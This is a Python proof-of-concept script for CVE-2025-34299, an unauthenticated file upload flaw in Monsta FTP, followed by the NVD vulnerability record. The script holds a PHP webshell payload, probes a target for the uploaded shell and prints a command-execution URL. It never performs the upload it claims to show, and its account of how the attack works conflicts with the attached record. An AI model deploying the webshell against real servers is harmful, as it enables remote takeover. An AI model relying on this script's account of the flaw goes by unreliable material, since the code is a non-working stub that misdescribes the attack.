CVE-2025-34299

#!/usr/bin/env python3 # CVE-2025-34299 PoC - Monsta FTP Unauthenticated Arbitrary File Upload # This PoC demonstrates the vulnerability in Monsta FTP <= 2.11 import requests import base64 import sys TARGET_URL = "http://target.com/monstaftp" # Update with target URL UPLOAD_PATH = "/" # Target upload path WEBSHELL_NAME = "shell.php" WEBSHELL_CONTENT = "<?php system($_GET['cmd']); ?>" def create_malicious_ftp_server(): """ Create a malicious FTP/SFTP server that serves malicious files This is a simplified representation of the attack vector """ print("[*] Setting up malicious FTP server...") print("[*] Attacker would host a malicious FTP/SFTP server") print("[*] The server contains crafted files for upload") return True def exploit_file_upload(): """ Exploit the unauthenticated file upload vulnerability Note: This is a conceptual PoC - actual exploitation requires understanding the specific Monsta FTP file transfer mechanism """ print(f"[*] Target: {TARGET_URL}") print(f"[*] Attempting to upload malicious file: {WEBSHELL_NAME}") # The actual exploit would involve: # 1. Connecting to target's Monsta FTP as attacker-controlled server # 2. Serving a malicious file when target downloads # 3. The file gets written to target server without authentication # Example HTTP request to check if Monsta FTP is exposed try: response = requests.get(TARGET_URL, timeout=10) if response.status_code == 200: print("[+] Monsta FTP instance is accessible") print("[*] Vulnerability requires victim to connect to attacker's FTP server") except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False return True def verify_upload(file_path): """ Verify if the malicious file was uploaded successfully """ print(f"[*] Verifying upload at: {file_path}") try: verify_url = f"{TARGET_URL}/{WEBSHELL_NAME}" response = requests.get(verify_url, timeout=10) if response.status_code == 200 and "cmd" in response.text: print("[+] Webshell uploaded successfully!") print(f"[+] Access webshell at: {verify_url}?cmd=whoami") return True except: pass print("[-] Upload verification failed or file not accessible") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-34299 PoC - Monsta FTP Unauthenticated RCE") print("=" * 60) create_malicious_ftp_server() exploit_file_upload() print("\n[*] Note: This vulnerability is exploited via the Monsta FTP UI") print("[*] Attacker hosts malicious FTP server, victim connects and downloads") print("[*] The downloaded file is written to the target server")

{"cve": {"id": "CVE-2025-34299", "sourceIdentifier": "[email protected]", "published": "2025-11-07T14:15:49.920", "lastModified": "2025-12-10T19:50:13.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Monsta FTP versions 2.11 and earlier contain a vulnerability that allows unauthenticated arbitrary file uploads. This flaw enables attackers to execute arbitrary code by uploading a specially crafted file from a malicious (S)FTP server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:monstaftp:monsta_ftp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.11", "matchCriteriaId": "818BD57D-CE20-4387-9801-1998AB0A43DE"}]}]}], "references": [{"url": "https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.monstaftp.com/notes/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/monsta-ftp-unauthenticated-arbitrary-file-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}